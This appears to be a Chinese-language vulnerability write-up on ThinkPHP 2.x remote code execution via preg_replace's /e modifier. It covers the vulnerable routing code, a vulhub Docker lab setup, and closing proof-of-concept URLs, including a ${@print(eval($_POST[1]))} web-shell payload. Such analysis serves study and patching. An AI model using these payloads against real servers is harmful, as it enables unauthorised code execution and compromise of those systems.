ThinkPHP漏洞之ThinkPHP 2.x 任意代码执行
漏洞描述
在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
1 | $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); |
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
如果此时正则规则中使用了/e
这个修饰符,则存在代码执行漏洞。
1 | e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; |
环境搭建
使用vulhub的docker环境一键部署
systemctl start docker //启动docker
git clone https://github.com/vulhub/vulhub.git //拉取vulhub靶场代码
cd /vulhub/thinkphp/2-rce //进入2-rce目录
docker-compose up -d //启动docker环境
docker-compose ps //查看服务端口
漏洞分析
这个漏洞的代码位置在./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:
可以进入docker搜索
1 | find . -name '*.php' | xargs grep -n 'preg_replace' |
了解到这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。
1 | 类名为`Dispatcher`,class Dispatcher extends Think |
漏洞所在关键代码块
1 | // 分析PATHINFO信息 |
看正则匹配的第一部分'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e'
$depr
表示 网页路径”分隔符”,作用是将传过来的$path
,以$depr
为分隔符连接起来。
'$var[\'\\1\']="\\2";'
是对一个数组做操作。
implode($depr,$paths)
,implode()
是将数组转成字符串
首先 \w+匹配到一个以上字符,接下来$depr
匹配到一个网页路径分隔符,
([^'.$depr.'\/]+)
,首先[^abcd]
表示匹配abcd以外的所有字符,因此,原式所匹配的规则为匹配一个
或多个除了网页分隔符和“\”以外的字符,将输入匹配到的结果为a/b, c/${@print(eval($_POST[1]))}
,
1 |
|
沙箱地址:
更加清晰的是取出每2个参数,然后第一个参数作为数组的键,第二个参数作为数组的值,那么在这个过程当中,上述例子如果$b
可控,同样会发生代码执行。
数组$var
在路径存在模块和动作时,会去除掉前2个值。而数组$var
来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));
也就是路径。
构造poc如下:https://onlinephp.io/
1 | /index.php?s=a/b/c/${phpinfo()} |
1 | /index.php?s=a/b/c/${@print(eval($_POST[1]))} |